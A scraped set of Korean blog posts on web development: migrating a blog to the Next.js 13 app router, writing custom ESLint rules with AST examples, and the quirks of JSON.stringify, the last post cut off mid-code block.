0:[[["",{"children":["pages",{"children":[["id","3","d"],{"children":["__PAGE__?{\"id\":\"3\"}",{}]}]}]},"$undefined","$undefined",true],"$L2",[[["$","link","0",{"rel":"stylesheet","href":"/_next/static/css/60c057695325b064.css","precedence":"next"}]],["$L3",null]]]]
4:I{"id":"3238","chunks":["481:static/chunks/481-c2603ca401b0b1f5.js","222:static/chunks/222-806bbed146c8e258.js","185:static/chunks/app/layout-af351b82bfb0351c.js"],"name":"Providers","async":false}
5:I{"id":"9481","chunks":["481:static/chunks/481-c2603ca401b0b1f5.js","302:static/chunks/app/tags/[tag]/pages/[id]/page-61cc77a637db7fd9.js"],"name":"","async":false}
6:I{"id":"7","chunks":["481:static/chunks/481-c2603ca401b0b1f5.js","222:static/chunks/222-806bbed146c8e258.js","3:static/chunks/app/[year]/[...slug]/page-0546852f3fc5430b.js"],"name":"","async":false}
7:I{"id":"5008","chunks":["481:static/chunks/481-c2603ca401b0b1f5.js","222:static/chunks/222-806bbed146c8e258.js","185:static/chunks/app/layout-af351b82bfb0351c.js"],"name":"","async":false}
8:I{"id":"4567","chunks":["481:static/chunks/481-c2603ca401b0b1f5.js","222:static/chunks/222-806bbed146c8e258.js","185:static/chunks/app/layout-af351b82bfb0351c.js"],"name":"","async":false}
9:I{"id":"5690","chunks":["272:static/chunks/webpack-a5f9efca3d914538.js","618:static/chunks/81497cce-0ce4c3138c148cf8.js","905:static/chunks/905-99371aa5e5c9b1ba.js"],"name":"","async":false}
a:I{"id":"2465","chunks":["272:static/chunks/webpack-a5f9efca3d914538.js","618:static/chunks/81497cce-0ce4c3138c148cf8.js","905:static/chunks/905-99371aa5e5c9b1ba.js"],"name":"","async":false}
// ...
```

스트리밍 형태의 응답을 볼 수 있는데, `id`를 바탕으로 리액트의 어느 부분이 어떻게 렌더링이 필요한지를 서버에서 미리다 계산한 다음에 내려주게 된다. (서버 컴포넌트 기준)

### 새로운 예약어 파일

기존에는 파일명까지 라우팅을 구성하였지만, 이제는 폴더명만 라우팅 주소를 구성한다. 예를 들어 `/src/pages/hello.tsx`는 `/hello`로 접근가능하여 파일명까지 주소로 인식했지만, 이제는 폴더명까지 만 인식된다. 같은 주소로 반환되게 하려면 `/src/apps/hello/*.tsx` 로 변경해야 한다. 그리고 몇몇 파일명에 예약어가 생겼다.

#### `layout`

> https://nextjs.org/docs/app/api-reference/file-conventions/layout

과거 nextjs의 약점으로 지적받던 것 중 하나는 `react-router`와 같이 레이아웃을 구성하기 어렵다는 점이었다. 애플리케이션 전체 레이아웃은 `_app.tsx`나 `_document.tsx`에서 제한적으로 할 수 있었지만, `/hello/world` `/hello/foo`와 같이 특정 라우팅 하위에 레이아웃을 구성하는 것은 불가능하여 중복 코드를 작성해야 하는 수고가 있었다. next@13부터는 `layout.tsx` 이 생겨 이제 레이아웃을 구성할 수 있게 되었다. 그리고 이 레이아웃은 하위 라우팅에도 영향을 미친다.

```typescript jsx
import { ReactNode } from 'react'

export default function Layout({ children }: { children: ReactNode }) {
  // 여기에 레이아웃을 구성
  return <div className="body">{chlidren}</div>
}
```

이렇게 구성해두면, 하위 라우팅은 모두 `<div className="body"/>` 하단에 꽂히게 된다.

`layout`은 무조건 서버 컴포넌트이며, 따라서 `useState`등을 쓸 수는 없다. 그리고 `{children}`을 무조건 `props`으로 가지고 렌더링 해주어야 한다. 추가로 `parmas`객체를 통해 동적인 주소를 핸들링 할 수도 있다.

#### `page`

> https://nextjs.org/docs/app/api-reference/file-conventions/page

`layout`이 말그대로 레이아웃을 구성하기 위한 목적이라면, `page`는 그 레이아웃 내에 들어갈 내용을 작성하는 곳이다.

```typescript jsx
export default async function Page({
  params: { year, slug },
}: {
  params: { year: string; slug: string[] }
}) {
  // ...
  return <>...</>
}
```

`children`은 따로 필요 없으며, 동적인 주소에 대한 `params`와 `/hello?a=1`에서 `a=1`과 같은 `searchParams`을 추가로 받을 수 있다. 그리고 여기에 있는 내용이 위 `layout`의 `children`에 들어가게 된다.

#### 그 외

그 외에도 블로그에는 사용하지 않았지만, 로딩 상태를 나타낼 수 있는 [loading](https://nextjs.org/docs/app/api-reference/file-conventions/loading), api를 나타낼 수 있는 [route](https://nextjs.org/docs/app/api-reference/file-conventions/route), 에러 페이지인 [error](https://nextjs.org/docs/app/api-reference/file-conventions/error), 404 페이지인 [not-found](https://nextjs.org/docs/app/api-reference/file-conventions/not-found) 등이 있다. 블로그는 빌드 시점에 정적으로 완전히 다 빌드하기 때문에, `not-found`등만 추가하였다.

## `getStaticProps`와 `getStaticPaths`

### before

`getStaticPaths`는 미리 정해진 라우팅을 바탕으로 어떠한 주소가 가능한지를 정의하는 메서드고, `getStaticProps`는 앞서 정적으로 정한 주소에 사용자가 접근하였을 때 어떠한 `props`를 클라이언트에 반환할지 결정하는 메서드다. 먼저 구 블로그 코드를 살펴보자.

```typescript
// src/pages/[year]/[...slugs].tsx
export const getStaticPaths: GetStaticPaths = async () => {
  // 포스팅 가능한 모든 md 파일을 불러온다.
  const allPosts = await getAllPosts()

  // 불러온 정보를 Array<{ params: { year: string; slugs: string[] } } 로 반환한다.
  // ...

  // paths로 정의한 변수가 해당 페이지에서 접근가능한 페이지가 된다.
  return {
    paths,
    fallback: 'blocking',
  }
}
```

`paths`로 해당 페이지로 접근 가능한 주소를 나열한다음, `fallback: blocking`을 사용하면 빌드 시점에 모든 주소가 결정된다. 그리고 빌드 시점에 모든 페이지가 만들어지고, 사용자는 이렇게 정적으로 만들어진 페이지만 방문할 수 있게 된다. 사전에 빌드되지 않은 페이지를 방문하면 404가 반환된다.

```typescript
// src/pages/[year]/[...slugs].tsx
export const getStaticProps: GetStaticProps = async ({params}) => {
  const {year, slugs} = params as SlugInterface

  const slug = [year, ...(slugs as string[])].join('/')
  // md 파일을 찾고 그중에 일치하는 파일을 반환한다.
  const posts = await getAllPosts()
  const post = posts.find((p) => p?.fields?.slug === slug)
  if (post) {
    const source = await parseMarkdownToMdx(post.body, post.path)

    return {
      props: {
        post,
        mdx: source,
      },
    }
  }
  return {
    notFound: true,
  }
}
```

`getStaticPaths`로 가능한 주소를 정의했다면, `getStaticProps`는 이제 해당 주소로 접근 했을 때 어떤 `props`를 반환할지 결정하게 된다. 여기에서는, `slugs`에 맞는 `markdown`파일을 찾고 이를 mdx로 직렬화하여 리액트에 반환한다.

### after

이제 `getStaticPaths`는 [generateStaticParams](https://nextjs.org/docs/app/api-reference/functions/generate-static-params)로 변경되었다.

```typescript
// src/app/[year]/[...slug]/page.tsx
export async function generateStaticParams() {
  // 마크다운 파일을 다 불러온다음
  const allPosts = await getAllPosts()
  // Array<{ year: string; slug: string[] } 로 반환한다.
  return allPosts.reduce<Array<{year: string; slug: string[]}>>(
    (prev, {fields: {slug}}) => {
      const [year, ...slugs] = `${slug.replace('.md', '')}`.split('/')

      prev.push({year, slug: slugs})
      return prev
    },
    [],
  )
}
```

`{params: {}}` 형태의 객체 였던 것과 다르게, 이제는 단순히 가능한 조합을 객체로 반환하면 된다. 이외에는 큰 차이가 없다.

이제 중요한 부분이 바로 마크다운을 렌더링하는 영역이다. 이제 `Page`가 `async`해지는 것이 가능해진다. 다음 예제를 보자.

```typescript jsx
export default async function Page({
  params: { year, slug },
}: {
  params: { year: string; slug: string[] }
}) {
  const post = await findPostByYearAndSlug(year, slug)

  if (!post) {
    return notFound()
  }

  return (
    <MDXRemote
      source={body}
      components={MDXComponents}
      options={{
        mdxOptions: {
          remarkPlugins: [remarkMath, remarkToc, remarkSlug, remarkGfm],
          rehypePlugins: [
            rehypeKatex,
            prism,
            parseCodeSnippet,
            rehypeAutolinkHeadings,
            imageMetadata(path),
          ],
        },
      }}
    />
  )
}
```

이 예제에서는 실 `getStaticParams`가 사라진 대신, `page`가 직접 `param`객체를 받아 렌더링한다. 그리고 이 작업은 비동기로도 가능해진다. `getStaticParmas`와 같은 예약어 함수명을 외우지 않아도 직관적으로 렌더링 할 수 있게 되어 더욱 편리해졌다.

#### 라우트 캐싱 정책

next@13 부터 [Route Segment Config](https://nextjs.org/docs/app/api-reference/file-conventions/route-segment-config)라고 하여 라우팅 별로 캐싱 정책등을 어떻게 가져갈지 선택할 수 있게 되었다. 해당 내용는 `page`에 별도 `export` 하는 변수로 선언하면 되고, 다음과 같이 동작한다.

- `dynamic`
  - `auto` (default): 컴포넌트가 가능하나 동적인 동작을 하지 못하도록 막으며 가능한 캐싱을 많이 하게 한다.
  - `force-dynamic`: 모든 캐싱을 비활성화 하고, 동적 렌더링 및 `fetch`를 수행한다. 이 옵션은 구 `getServerSideProps`와 동일하다.
  - ✅ `error`: 동적으로 가져오는 경우 에러를 발생시킨다. 다시 말하면 모든 페이지를 정적으로 렌더링하는 것을 강제한다. 이 옵션은 `getStaticProps`와 같으며 이 블로그가 이 옵션을 사용하였다.
  - `force-static`: 정적인 렌더링이 강제되고, 레이아웃이나 페이지에서 데이터 요청이 있을 경우 쿠키, 헤더, `searchParams`의 값이 모두 빈값으로 나온다.
- `dynamicParmas`: `generateStaticParams`로 생성되지 않은 파일을 방문했을 때 어떻게 동작할지 결정한다.
  - `true` (default): 해당 페이지 요청이 오면 파일을 생성한다.
  - ✅ `false`: 404를 반환한다. 위에서 만약 `force-static`나 `error`를 사용한다면 이 값이 자동으로 `false`가 된다.
- `revalidate`: 레이아웃과 페이지의 유효기간을 어떻게 가져갈지 정한다.
  - `false`: `Infinity`를 준것 과 동일하며, 무기한 캐싱된다. 단, 개별적으로 내부 페이지에서 `fetch`의 캐싱 동작을 오버라이드 하지는 않는다.
  - `0`: 동적 렌더링이 없어도 항상 페이지가 동적으로 렌더링 된다.
  - `number`: 특정 유효시간 (초) 를 정할 수 있다. 60으로 설정할 경우, 60초 마다 페이지가 렌덜이 될 것이다.

## og tag image

### before

과거 이 블로그는 ogtag 이미지 동적 생성을 위해 `generate-screenshot` 페이지와 서버리스 구글 cloud function을 사용하여 동적으로 블로그 포스트 썸네일을 생성했다. [관련 글](https://yceffort.kr/2020/12/generate-serverless-thumbnail) 이 방법은 개발자 입장에서는 재밌을지는 몰라도, 확실히 비효율적이긴했다.

### after

`opengraph-image.tsx`라는 예약어 파일이 생겼다. 이파일을 다음과 같은 형식으로 만들면, og tag image를 생성할 수 있다.

https://nextjs.org/docs/app/api-reference/file-conventions/metadata/opengraph-image

```typescript jsx
// app/opengraph-image.tsx
export const runtime = 'edge'

export const alt = SiteConfig.author.name
export const size = OpenGraphImageSize

export const contentType = 'image/png'

export default function OpenGraphImage() {
  return new ImageResponse(
    (
      <OpenGraphComponent
        title="Welcome to yceffort's blog"
        url="https://yceffort.kr"
        tags={['blog', 'frontend']}
      />
    ),
    { ...size },
  )
}
```

그러나 아직 애석하게도 `[...slug]`와 같은 동적인 데이터를 기준으로 og image를 만드는 것은 불가능해 보인다.

> https://github.com/vercel/next.js/issues/48162#issuecomment-1540040105

그러나 개발자의 말로 보아(?) 조만간 이 기능도 추가되지 않을까 싶다.

## metadata

과거 metadata는 `_document`에 일일이 추가해주어야 하는 굉장히 귀찮은 작업이었다. 그러나 이제는 `metadata`라고 하는 별도의 객체를 export 하면, 메타데이터를 필요에 따라 만들어준다.
https://nextjs.org/docs/app/building-your-application/optimizing/metadata

```tsx
// 정적인 경우
export const metadata: Metadata = {
  title: SiteConfig.title,
  description: SiteConfig.url,
  authors: [{name: SiteConfig.author.name}],
  referrer: 'origin-when-cross-origin',
  creator: SiteConfig.author.name,
  publisher: SiteConfig.author.name,
  metadataBase: new URL('https://yceffort.kr'),
  formatDetection: {
    email: false,
    address: false,
    telephone: false,
  },
  icons: {
    icon: '/favicon/apple-icon.png',
    shortcut: '/favicon/apple-icon.png',
    apple: '/favicon/apple-icon.png',
    other: {
      rel: '/favicon/apple-icon-precomposed',
      url: '/favicon/apple-icon-precomposed.png',
    },
  },
  robots: {
    index: true,
    follow: true,
    googleBot: {
      index: true,
      follow: true,
    },
  },
  viewport: {
    width: 'device-width',
    initialScale: 1,
  },
}

// 동적인 경우
export async function generateMetadata({
  params: {year, slug},
}: {
  params: {year: string; slug: string[]}
}) {
  const post = await findPostByYearAndSlug(year, slug)

  if (!post) {
    return {}
  }

  return {
    title: post.frontMatter.title,
  }
}
```

이 `metadata`도 마찬가지로 `layout`에 따라 상속하거나 하위에서 재선언하는 등 작업이 가능하다.

## sitemap

과거 sitemap 생성을 하기 위해 빌드 이전에 별도로 모든 가능한 주소를 다 가져온 다음, 그 주소를 바탕으로 `xml`파일을 수동으로 만들어 `public`폴더에 밀어넣는 작업을 했었다.

이제는 `app/sitemap.ts`라는 예약어 파일을 만들면, 빌드 시점에 미리 sitemap도 생성해준다.

```typescript
import {MetadataRoute} from 'next'

import {getAllPosts, getAllTagsFromPosts} from '#utils/Post'

export default async function sitemap(): Promise<MetadataRoute.Sitemap> {
  const posts = await getAllPosts()
  const tags = await getAllTagsFromPosts()

  return [
    {
      url: 'https://yceffort.kr',
      lastModified: new Date(),
    },
    {
      url: 'https://yceffort.kr/about',
      lastModified: new Date(),
    },
    ...posts.map((post) => {
      return {
        url: `https://yceffort.kr/${post.fields.slug}`,
        lastModified: new Date(post.frontMatter.date),
      }
    }),
    ...tags.map((tag) => {
      return {
        url: `https://yceffort.kr/tags/${tag}`,
      }
    }),
  ]
}
```

## robots.txt

검색엔진에 도움이 되는 `robots.txt`도 설정이 가능하다. `app/robots.ts`를 다음과 같이 만들어 추가할 수 있다.

```typescript
import {MetadataRoute} from 'next'

export default function robots(): MetadataRoute.Robots {
  return {
    rules: {
      userAgent: '*',
      allow: '/',
    },
    sitemap: 'https://yceffort.kr/sitemap.xml',
  }
}
```

## 그 외 시행착오 와 소감

- 서버 컴포넌트를 본격적으로 지원하기 시작하면서, 내가 사용하는 라이브러리가 서버에서 사용가능한지, 클라이언트에서 사용가능한지 확인이 필요해졌다. 마크다운 렌더링을 위해 [next-mdx-remote](https://github.com/hashicorp/next-mdx-remote)를 사용했는데, 이 라이브러리를 서버에서 사용할 경우 내부적으로 `useState`를 사용하고 있어 렌더링 시 오류가 발생했다. 다행히 [해당 기능을 지원](https://github.com/hashicorp/next-mdx-remote#react-server-components-rsc--nextjs-app-directory-support)해줘서 큰 문제는 없었지만, 16.8 의 등장으로 훅을 지원하느냐 여부에 따라 리액트 라이브러리의 생태계가 많이 갈렸던 것 처럼 일대 혼란이 있을 것으로 보인다. 사내에서 만드는 라이브러리가 있는데, 이 라이브러리들이 어디까지가 서버컴포넌트에서 돌아갈지 고민해봐야할 필요가 있을 것 같다.
- `app`과 `pages`에 동일한 주소가 있을 경우 (당연히) 정상적으로 실행되지 않는다. 블로그의 경우 기능이 그렇게 많지 않아 과감하게 모두 날리고 다시 만들었지만, 실제 실무 프로젝트라면 당연히 그렇게 못했을 것이다. 따로 `new` prefix를 추가한 주소에서 `app`을 사용했을 것 같다.
- `next dev --turbo`를 사용해보았는데, 역시나 swc 때와 마찬가지로 베타라는 말이 무색하게 여기저기서 에러가 터졌었다. 물론 vercel 팀을 비난하려는건 아니고, 아무튼 사용에 주의가 필요해보였다. (사랑해요 vercel)
- [typescript 5.1 부터 비동기 컴포넌트를 정식으로 지원할 예정](https://devblogs.microsoft.com/typescript/announcing-typescript-5-1-rc/#decoupled-type-checking-between-jsx-elements-and-jsx-tag-types)이라서 현 버전에서는 `@ts-ignore`로 어글리하게 처리한 케이스가 몇개 있다.
- 생각보다 `pages`에서 `app`으로 전환하는데 사고가 빠르게 되지 않았다. `getServerSideProps`를 다른 프로젝트에서 마이그레이션 해보았지만, router segment 별로 caching 정책을 가져간다거나 `fetch`별로 캐싱을 하는게 익숙하지 않았다. 이 기분은 마치 next@8 인가 7을 내가 처음 써봤을 때 `getInitialProps`가 클라와 서버에서 동시에 실행될 때 느꼈던 혼란의 그것과 유사했다. 이 또한 적응 될 것이다. (늙어서 그렇지)
- 많은 사람들이 서버 컴포넌트가 가장 큰 핵심이라고 이야기 하지만, 개인적으로는 캐싱도 엄청 중요하다고 느끼게 되었다. 캐싱을 진짜 잘 만지면, 대규모 애플리케이션에서 `react-query`나 `swr`등이 없어도 데이터 호출을 효율적으로 다룰 수 있을 것 같다.
- 개인적으로 제일 기대하고 있는건 [서버액션](https://nextjs.org/docs/app/building-your-application/data-fetching/server-actions)이다. 읭 이거 완전 php 아닌가요 하며 트위터리안을 단체로 혼란에 빠트렸던 그것,, 이건 따로 기회가 된다면 다뤄볼까 한다.

---

Source: https://yceffort.kr/2022/06/how-to-write-my-own-eslint-rules.md
Title: 나만의 eslint 룰 만들어보기
Description: rust로 eslint를 만들어도 재밌겠네용
Date: 2022-06-26
Tags: eslint, javascript

## Table of Contents

## Introduction

react@17 이 업데이트 되면서 더이상 `jsx, tsx` 파일에 `import React`를 할 필요가 없어졌다. [참고](https://ko.reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html) 이를 사용함으로써 여러가지 이점이 있지만, 무엇보다 번들 사이즈가 줄어든 다는 장점이 가장 크다. (아주 작은 정도지만)

그러나 기존 react@16 기반의 코드에서 저 `import React from 'react'` 코드를 모두 제거하기란 쉽지 않다. `import React from 'react'`를 모두 찾고 검색해서 지우는 방법도 있겠지만, 저 사이에 무엇이라도 껴 있다면, (`import React, { MouseEvent } from 'react'` 와 같이) 이 방법도 소용이 없다. 그래서 어떻게 해결할까 고민하던 중, `eslint`가 있으니 이를 활용하면 쉽게 해결할 수 있지 않을까 하는 아이디어가 떠올랐다.

## `no-restricted-imports`를 쓰는 방법

아마도 대부분의 프로젝트에서는 eslint를 사용 중일 것이다. 그래서 eslint에 있는 기본 룰인 [no-restricted-imports](https://eslint.org/docs/latest/rules/no-restricted-imports)를 사용해서 해결해보자.

```javascript
module.exports = {
  rules: {
    'react/react-in-jsx-scope': ['off'],
    'no-restricted-imports': [
      'error',
      {
        paths: [
          {
            name: 'react',
            importNames: ['default'],
            message: "import React from 'react' makes bundle size larger.",
          },
        ],
      },
    ],
  },
}
```

`react` 라는 import가 있고, 이 importNames이 기본값 (`React`)일 경우 에러메시지를 띄우는 방법이다. 이방법을 활용하면 같은 원리로 [트리쉐이킹이 안되는 `lodash`](/2021/08/javascript-tree-shaking#%EB%AC%B4%EC%97%87%EC%9D%84-%ED%95%B4%EC%95%BC%ED%95%A0%EC%A7%80-%EA%B0%90%EC%9D%B4-%EC%98%A4%EC%A7%80-%EC%95%8A%EC%9D%84-%EB%95%8C) import 하는 것을 막을 수 있다.

> 하지만 아쉽게도 이 방법은 자동으로 fix 까지 해주지 않는다. 물론 자동으로 import를 해서 fix 할 수도 있겠지만, 그것보다는 개발자가 직접 수정하는 것이 더 안전할 것이다.

## eslint 룰 만들기?

이 방법으로 문제를 해결하긴 했지만, 갑자기 궁금했졌다. 내가 직접 관련된 문제를 해결할 수 있는 rules을 만들어 볼 순 없을까? 🧐

### eslint 동작 방식 이해

eslint 의 동작방식을 이해하기 위해서 알아야 하는 단 한가지는 바로 [AST](/2021/05/ast-for-javascript)다. 이 글을 요약해서 설명하자면, AST는 우리가 작성한 코드를 기반으로 트리 구조의 데이터 스트럭쳐를 만들어 낸다. 즉, eslint 는 코드를 AST를 활용해서 트리구조를 만든 다음, 여기에서 지적하고 싶은 코드를 만들어서 룰로 저장하는 것이다.

### 간단한 예제

먼저, 한 글자 짜리 변수를 막는 룰을 만든다고 가정해보자. https://astexplorer.net/ 에서 변수 선언문 트리를 만들면, 아래와 같은 결과를 얻을 수 있다.

```javascript
const hello = 'world'
```

그럼 아래와 같은 트리를 확인할 수 있다.

```json
{
  "type": "Program",
  "start": 0,
  "end": 21,
  "loc": {
    "start": {
      "line": 1,
      "column": 0
    },
    "end": {
      "line": 1,
      "column": 21
    }
  },
  "range": [0, 21],
  "errors": [],
  "comments": [],
  "sourceType": "module",
  "body": [
    {
      "type": "VariableDeclaration",
      "start": 0,
      "end": 21,
      "loc": {
        "start": {
          "line": 1,
          "column": 0
        },
        "end": {
          "line": 1,
          "column": 21
        }
      },
      "range": [0, 21],
      "declarations": [
        {
          "type": "VariableDeclarator",
          "start": 6,
          "end": 21,
          "loc": {
            "start": {
              "line": 1,
              "column": 6
            },
            "end": {
              "line": 1,
              "column": 21
            }
          },
          "range": [6, 21],
          "id": {
            "type": "Identifier",
            "start": 6,
            "end": 11,
            "loc": {
              "start": {
                "line": 1,
                "column": 6
              },
              "end": {
                "line": 1,
                "column": 11
              },
              "identifierName": "hello"
            },
            "range": [6, 11],
            "name": "hello",
            "_babelType": "Identifier"
          },
          "init": {
            "type": "Literal",
            "start": 14,
            "end": 21,
            "loc": {
              "start": {
                "line": 1,
                "column": 14
              },
              "end": {
                "line": 1,
                "column": 21
              }
            },
            "range": [14, 21],
            "value": "world",
            "raw": "\"world\"",
            "_babelType": "Literal"
          },
          "_babelType": "VariableDeclarator"
        }
      ],
      "kind": "const",
      "_babelType": "VariableDeclaration"
    }
  ]
}
```

그리고 룰을 작성하기에 앞서, 먼저 룰이 포함되어 있는 프로젝트를 하나 만들어야 한다. (`npm init`) 그리고 중요한 것은, `eslint-plugin-`으로 시작해야 한다.

그리고 `index.js`를 만들고 다음과 같이 파일을 만들어보자.

```javascript
module.exports = {
  rules: {
    // 룰 이름을 선언한다.
    'variable-length': (context) => ({
      // 변수 선언하는 부분은 VariableDeclarator 이다.
      VariableDeclarator: (node) => {
        // 변수명은 여기에 있다. (위 json 참고)
        if (node.id.name.length < 2) {
          context.report(
            node,
            `Variable names should be longer than 1 character`,
          )
        }
      },
    }),
  },
}
```

그리고 해당 룰을 적용해보자

```bash
/workspaces/eslint-plugin-import-yceffort/test/index.js
  3:7   warning  Variable names should be longer than 1 character VariableDeclarator  yceffort-rules/var-length
```

와...!!!

이번에는 옵션을 주어서, 특정 한글자 짜리 변수는 허용하도록 해보자. 예를 들어서 `_`와 같이.

```javascript
module.exports = {
    'var-length': (context) => ({
      VariableDeclarator: (node) => {
        const { options } = context
        const allowedList = options.find((opt) => 'allowed' in opt)
        const allowed = allowedList.allowed || []

        if (node.id.name.length < 2 && !allowed.includes(node.id.name)) {
          context.report(
            node,
            `Variable names should be longer than 1 character ${node.type}`,
          )
        }
      },
    }),
  },
}
```

```javascript
const rootRule = require('../.eslintrc.js')

module.exports = {
  ...rootRule,
  plugins: ['yceffort-rules'],
  rules: {
    'yceffort-rules/var-length': ['warn', {allowed: ['_']}],
  },
}
```

### import React 만들어보기

원래 글의 목적이었던, `import React from "react"`나 `import React from "lodash"`와 같은 default import 를 막는 rule을 만들어보자.

먼저 AST Explorer로 트리구조를 살펴보자.

```javascript
import React, {MouseEvent} from 'react'
import lodash from 'lodash'
```

```json
{
  "type": "Program",
  "start": 0,
  "end": 69,
  "loc": {
    "start": {
      "line": 1,
      "column": 0
    },
    "end": {
      "line": 2,
      "column": 27
    }
  },
  "comments": [],
  "range": [0, 69],
  "sourceType": "module",
  "body": [
    {
      "type": "ImportDeclaration",
      "start": 0,
      "end": 41,
      "loc": {
        "start": {
          "line": 1,
          "column": 0
        },
        "end": {
          "line": 1,
          "column": 41
        }
      },
      "specifiers": [
        {
          "type": "ImportDefaultSpecifier",
          "start": 7,
          "end": 12,
          "loc": {
            "start": {
              "line": 1,
              "column": 7
            },
            "end": {
              "line": 1,
              "column": 12
            }
          },
          "local": {
            "type": "Identifier",
            "start": 7,
            "end": 12,
            "loc": {
              "start": {
                "line": 1,
                "column": 7
              },
              "end": {
                "line": 1,
                "column": 12
              },
              "identifierName": "React"
            },
            "name": "React",
            "range": [7, 12],
            "_babelType": "Identifier"
          },
          "range": [7, 12],
          "_babelType": "ImportDefaultSpecifier"
        },
        {
          "type": "ImportSpecifier",
          "start": 16,
          "end": 26,
          "loc": {
            "start": {
              "line": 1,
              "column": 16
            },
            "end": {
              "line": 1,
              "column": 26
            }
          },
          "imported": {
            "type": "Identifier",
            "start": 16,
            "end": 26,
            "loc": {
              "start": {
                "line": 1,
                "column": 16
              },
              "end": {
                "line": 1,
                "column": 26
              },
              "identifierName": "MouseEvent"
            },
            "name": "MouseEvent",
            "range": [16, 26],
            "_babelType": "Identifier"
          },
          "importKind": null,
          "local": {
            "type": "Identifier",
            "start": 16,
            "end": 26,
            "loc": {
              "start": {
                "line": 1,
                "column": 16
              },
              "end": {
                "line": 1,
                "column": 26
              },
              "identifierName": "MouseEvent"
            },
            "name": "MouseEvent",
            "range": [16, 26],
            "_babelType": "Identifier"
          },
          "range": [16, 26],
          "_babelType": "ImportSpecifier"
        }
      ],
      "importKind": "value",
      "source": {
        "type": "Literal",
        "start": 34,
        "end": 41,
        "loc": {
          "start": {
            "line": 1,
            "column": 34
          },
          "end": {
            "line": 1,
            "column": 41
          }
        },
        "extra": {
          "rawValue": "react",
          "raw": "'react'"
        },
        "value": "react",
        "range": [34, 41],
        "_babelType": "StringLiteral",
        "raw": "'react'"
      },
      "range": [0, 41],
      "_babelType": "ImportDeclaration"
    },
    {
      "type": "ImportDeclaration",
      "start": 42,
      "end": 69,
      "loc": {
        "start": {
          "line": 2,
          "column": 0
        },
        "end": {
          "line": 2,
          "column": 27
        }
      },
      "specifiers": [
        {
          "type": "ImportDefaultSpecifier",
          "start": 49,
          "end": 55,
          "loc": {
            "start": {
              "line": 2,
              "column": 7
            },
            "end": {
              "line": 2,
              "column": 13
            }
          },
          "local": {
            "type": "Identifier",
            "start": 49,
            "end": 55,
            "loc": {
              "start": {
                "line": 2,
                "column": 7
              },
              "end": {
                "line": 2,
                "column": 13
              },
              "identifierName": "lodash"
            },
            "name": "lodash",
            "range": [49, 55],
            "_babelType": "Identifier"
          },
          "range": [49, 55],
          "_babelType": "ImportDefaultSpecifier"
        }
      ],
      "importKind": "value",
      "source": {
        "type": "Literal",
        "start": 61,
        "end": 69,
        "loc": {
          "start": {
            "line": 2,
            "column": 19
          },
          "end": {
            "line": 2,
            "column": 27
          }
        },
        "extra": {
          "rawValue": "lodash",
          "raw": "'lodash'"
        },
        "value": "lodash",
        "range": [61, 69],
        "_babelType": "StringLiteral",
        "raw": "'lodash'"
      },
      "range": [42, 69],
      "_babelType": "ImportDeclaration"
    }
  ]
}
```

위 AST 트리를 기반으로 룰을 만들어보자.

```javascript
module.exports = {
  rules: {
    'default-import': (context) => ({
      ImportDeclaration: (node) => {
        const found = node.specifiers.find(
          (i) => i.type === 'ImportDefaultSpecifier',
        )

        if (found) {
          const { options } = context
          const option = options.find((opt) => 'path' in opt)
          const paths = option.path || []

          if (paths.includes(node.source.value)) {
            context.report(node, `import ${node.source.value}는 하면 안되잉`)
          }
        }
      },
    }),
}
```

```bash
@yceffort ➜ /workspaces/eslint-plugin-import-yceffort/test (main ✗) $ npm run lint

> test@1.0.0 lint
> eslint '**/*.{js,ts}'

/workspaces/eslint-plugin-import-yceffort/test/index.js
  1:1  warning  import react는 하면 안되잉                                                 yceffort-rules/default-import
  2:1  warning  import lodash는 하면 안되잉                                                yceffort-rules/default-import
```

## 참고

[eslint-plugin-yceffort-rules](https://github.com/yceffort/eslint-plugin-yceffort-rules)

> 물론 그냥 연습만 해보느라 여러가지로 썩 좋지 못한 코드니, 실제로 사용할 때는 적절하게 리팩토링을 해서 써보자.

---

Source: https://yceffort.kr/2022/06/JSON-stringify.md
Title: JSON.stringify 만들어보기
Description: V8로는 아니더라도 내부 동작 직접 구현해보기
Date: 2022-06-17
Tags: javascript

## Table of Contents

## JSON이 지원하는 타입

JSON 무려 [공식 홈페이지](https://www.json.org/json-en.html)가 존재하는데, 여기서 어떤 데이터 타입을 지원하는지 나와있다. JSON은 우리가 매일 쓰고 또 그다지 어렵지 않기 때문에 그렇게 복잡하게 생각해본적이 없는데, 공식 문서의 그래프를 보면 살짝 어지러워진다. 이래저래 읽는게 귀찮고 복잡하므로, 타입스크립트로 간단하게 요약해보자면 다음과 같다.

```typescript
type JSONType =
  null | boolean | number | string | JSONType[] | {[key: string]: JSONType}
```

JSON은 언어에 종속적이지 않기 때문에, 자바스크립트에만 있는 고유의 타입, `undefined` `Symbol` `BigInt` 등과 `Function` `Class` `Map` 등도 지원하지 않는다.

## 현기증 나는 `JSON.stringify`

`JSON.stringify`를 계속 쓰다보면, 이 함수의 동작은 참 일관적이지 않다는 것을 깨닫게 된다.

```typescript
JSON.stringify(1) // '1'
JSON.stringify(null) // 'null'
JSON.stringify('foo') // '"foo"'
JSON.stringify({foo: 'bar'}) // '{"foo":"bar"}'
JSON.stringify(['foo', 'bar']) // '["foo","bar"]'
```

### JSON이 지원하지 않는 타입은 undefined

여기까지는 우리가 모두 이해하는 수준이다. 그러나 앞서 언급했던, `JSON`이 지원하지 않는 일부 타입에 대해서는 다음과 같이 반환된다.

```typescript
JSON.stringify(undefined) // undefined
JSON.stringify(Symbol('foo')) // undefined
JSON.stringify(() => {}) // undefined
```

모두 `undefined`가 나온다면 그래도 행복할 것 같다. 그러나

### Map, Regex, Set은 빈 JSON

```typescript
JSON.stringify(/foo/) // '{}'
JSON.stringify(new Map()) // '{}'
JSON.stringify(new Set()) //'{}'
```

....?

### Array와 Object 내부에 지원하지 않는 타입이 있는 경우

더 골 때리는 것은 serialize가 가능한 값, 예를 들어 array나 object에서 더 일관성 없이 동작한다는 것이다. `undefined` `Symbol` `Function` 이 배열안에 있으면 `'null'`로 변환된다. 그리고 객체 안에 속성이 있다면 그 속성 전체는 완전히 무시되고 빈 객체 (정확히는 빈 JSON) 가 된다.

```typescript
JSON.stringify([undefined]) // '[null]'
JSON.stringify({foo: undefined}) // '{}'

JSON.stringify([Symbol()]) // '[null]'
JSON.stringify({foo: Symbol()}) // '{}'

JSON.stringify([() => {}]) // '[null]'
JSON.stringify({foo: () => {}}) // '{}'
```

이와 다르게, `Map` `Set` `Regex`가 배열이나 객체 내부에 있다면, 이들은 모두 일관되게 `{}`으로 변환된다. 그리고, 당연히 값도 날아간다.

```typescript
